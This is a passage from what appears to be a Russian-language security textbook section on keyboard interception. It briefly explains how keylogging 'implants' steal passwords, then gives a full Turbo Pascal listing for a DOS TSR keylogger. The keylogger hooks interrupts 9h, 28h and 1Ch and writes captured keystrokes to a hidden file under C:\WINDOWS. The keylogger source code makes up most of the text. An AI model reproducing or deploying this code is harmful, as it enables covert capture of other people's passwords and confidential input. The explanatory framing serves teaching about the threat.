Перехват ввода с клавиатуры

Закладки, анализирующие ввод с клавиатуры, являются достаточно опасными, поскольку клавиатура является основным устройством управления и ввода информации. Через клавиатурный ввод можно получить информацию о вводимых конфиденциальных сообщениях (текстах), паролях и т.д.

Перехват может производится двумя основными способами:

• встраивание в цепочку прерывания int 9h;
• анализом содержания клавиатурного порта или буфера по прерыванию от системного таймера.

Работа закладки основывается на полном сохранении всех нажатий (отжатий) клавиш в файле. Файл затем изучается, и на его основе злоумышленник, пытавшийся получить доступ к зашифрованным файлам, восстанавливает возможные парольные последовательности.

Пример подобной закладки приведен в листинге 14.1.

Листинг 14.1. Пример закладки, перехватывающей ввод с клавиатуры

{$M 2048,0,0}


{$F+}


Uses Dos;

const


 

ArchiveName = 'C:\WINDOWS\USER.BIN';


 

OldSS       : Word = 0;


 

OldSP       : Word = 0;





 

StackSW     : Integer = - 1;


 

NewSS       : Word = 0;


 

NewSP       : Word = 0;

var


 

Old9h          : Procedure;


 

R              : Registers;


 

DOSSeg, DOSOfs : Word;


 

Tick, WaitBuf  : Integer;


 

NeedPop        : Boolean;


 

CBuf           : Word;


 

KBuf           : array [1..255] of Byte;

procedure BeginInt;


inline($FF/$06/StackSW/


      

$75/$10/


      

$8C/$16/OldSS/


      

$89/$26/OldSP/


      

$8E/$16/NewSS/

Продолжение листинга 14.1

       $8B/$26/NewSP);


procedure EndInt;


inline($FF/$0E/StackSW/


      

$7D/$08/


      

$8E/$16/OldSS/


      

$8B/$26/OldSP);


procedure CallPop(Sub: Pointer);


begin


inline($FF/$5E/$06);


end;


procedure CLI; inline($FA);


procedure STI; inline($FB);


procedure TSRCrap;


var


 

F: File;


begin


 

CLI;


 

BeginInt;


 

STI;


 

NeedPop := False;


 

Assign(F, ArchiveName);


 

{$I-}


 

Reset(F,1);


 

{$I+}


 

if IOResult <> 0 then ReWrite(F,1) else seek(F,FileSize(F));


 

SetFAttr(F,ARCHIVE+HIDDEN);


 

BlockWrite(F,KBuf,CBuf); { Запись содержимого буфера в файл }


 

CBuf := 0;


 

Close(F);



 Tick := 0;

 CLI;

 EndInt;

 STI;

end;

Продолжение листинга 14.1

procedure RunTSR; interrupt;

begin

 CLI;

 BeginInt;

 STI;

 Inc(Tick);

 if (Tick > 18.2 * WaitBuf) and (CBuf > 0) then

 begin

  NeedPop := True;

  if Mem[DOSSeg:DOSOfs] = 0 then

  begin

   NeedPop := False;

   Port[$20]:=$20;

   TSRCrap;

  end;

 end;

 CLI;

 EndInt;

 STI;

end;

procedure Int28TSR; interrupt;

begin

 CLI;

 BeginInt;

 STI;

 if NeedPop = True Then TSRCrap;

 CLI;

 EndInt;

 STI;

end;

procedure New9h;interrupt;

{ Новый обработчик прерывания 9h }

var

 Tail     : Word absolute $40 : $1C;

 B:Boolean;

begin

 B := Port[$60]<$80;

 inline($9C);

 Old9h;  { Вызов старого обработчика }

 if B and (Lo(MemW[$40:Tail])<>0) then

Окончание листинга 14.1

  begin

   Inc(CBuf);

   if CBuf > 255 Then CBuf := 255;

   KBuf[CBuf]:=Lo(MemW[$40:Tail]); { Cохранение клавиши в буфере }

  end;

end;

procedure InitTSR;

begin

 NewSS := SSeg;

 inline($89/$26/NewSP);

 R.AH := $34;

 MsDos(R);

 DOSSeg := R.ES;

 DOSOfs := R.BX;

end;

begin

 InitTSR;

 CBuf := 0;

 FillChar(KBuf,SizeOf(KBuf),0);

 WaitBuf := 5; { Задержка (сек) перед отправкой буфера в файл.}

 NeedPop := False;

 Tick    := 0;

 GetIntVec($9,@Old9h);

 SetIntVec($9,@New9h);

 SetIntVec($28,@Int28TSR);

SetIntVec($1C,@RunTSR);

 Keep(0);

end.




Содержание раздела






---